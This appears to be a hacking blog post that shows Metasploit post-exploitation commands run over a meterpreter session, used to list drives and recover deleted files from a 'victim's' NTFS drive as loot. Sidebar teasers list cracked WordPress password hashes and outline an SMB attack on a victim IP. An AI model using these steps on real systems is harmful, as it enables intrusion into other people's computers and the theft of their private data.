Forensic - File Recovery (Fire With Metasploit)

-
Hy guy's.. missing me...?
yeah, I think most of you guys looking forward to my post =))
as I promised earlier this year I will be a lot to discuss about forensic. so, go see my writing this time.

Equipment:
1. Metasploit

Note : make sure you get to this stage meterpreter session



The next stage of selecting module "enum_drives". This module will list the physical drives and logical volumes

msf > use post/windows/gather/forensics/enum_drives
msf post(enum_drives) > show options
msf post(enum_drives) > set SESSION 1
msf post(enum_drives) > run


there are multiple logical volumes that look, then I choose the drives "E" for the test module by selecting "recovery_files". This module list and try to recover deleted files from NTFS file systems

msf post(enum_drives) > use post/windows/gather/forensics/recovery_files
msf post(recovery_files) > show options
msf post(recovery_files) > set SESSION 1
msf post(recovery_files) > set DRIVE E:
msf post(recovery_files) > run


seen above there are some files that are recorded on the drive "E". which is where the file has been deleted by the victim. then I took a sample of the file that has been deleted.

msf post(recovery_files) > set files 53248
msf post(recovery_files) > run


success, I managed to get the file and stored in the directory ~/.msf4/loot/

and now, I will take all the files
msf post(recovery_files) > set files 54272,55296,56320,57344,58368
msf post(recovery_files) > run



Complete =))

now.  I will see if the file is still intact or not at all.
command :
# dolphin ~/.msf4/loot/ (for KDE)
or
# nautilus ~/.msf4/loot/ (for Gnome)



Finish :)

Regards
Hidemichi-Hiroyuki a.k.a [H2]

Comments

Post a Comment

Do Not Fuckin Spamming

Popular posts from this blog

Decrypt MD5 $Wordpress

-
Image
Hy, I'm back again. I will discuss how to Decrypt a password in the form the MD5 hash wordpress. here are some examples of hash md5 encryption wordpress will we Decrypt: HASH                                                                                  PASS $P$BDHjLCEroc8ujkcs8RZxOhcE80aV5h.           : th3sweety0ne  $P$BPXNfl3mZiO7PZc4XZqFFjX7TyP7Lh.           : Pabl0-saChez $P$BqilSln8PD9SBFuTx8KkaXz62aIIvV/             : m4rim4r123 $P$BnfObieGq5ygdt0OMgwbnKvFt8EFUs.          : Gh0stTrac3 $P$B.RwpJQV8ANOyl19RGHhCaYYgJyvQM1  : *12345*0a0b0c0d many of my friends are overwhelmed when decrypt wordpress md5 hash. so are they wasting their jobs because the...
Read more

Exploit Samba "SmbClient"

-
Image
Such as FTP (File Transfer Protocol) samba include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on. in this case we have to get the victim to allow shared folders or files. Equipments : 1. SmbClient 2. Nmap 3. Metasploit The firstStep. scanning port the victim's ip-address using Nmap. in here that we need right port is port   445  microsoft-ds. # Nmap (Victim Ip-Address) seen in the picture above. I am lucky :) now, let us look the contents of the port # nmap -p445 --script=smb-os-discovery (Victim Ip-Address) --script=smb-os-discovery : Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139) . seen in the picture above, it turns out the victim we use Operating System Windows 7 Ultimate.  Computer Name And NetBIOS Name is a ANONYMOUS-...
Read more

Configure Pure-FTP on Kali Linux

-
Image
FTP or file transfer protocol is a protocol that allows you to transfer files to and from a remote machine. BackTrack has pure-FTPd installed by default. FTP operates on port 21. Contents : 1. Installasion 2. Configuration 3. Run Installation Pure-Ftpd # apt-get install pure-ftpd Installation Success =)) Configure Ftpd add new group: # groupadd ftpgroup add user: # useradd -g ftpgroup -d /dev/null -s /etc ftpuser -g =  name or ID of the primary group of the new account -d = home directory of the new account -s = login shell of the new account configure store a list of users: # pure-pw useradd myftp -u ftpuser -d /home/ftp/pub/myftp myftp = your ftp username please enter you password. configure puredb database file # pure-pw mkdb The next entry to the directory /etc/pure-ftpd/auth/ # cd /etc/pure-ftpd/auth then Create hard links by default: # ln -s ../conf/PureDB 60pdb then, make a directory /ftp...
Read more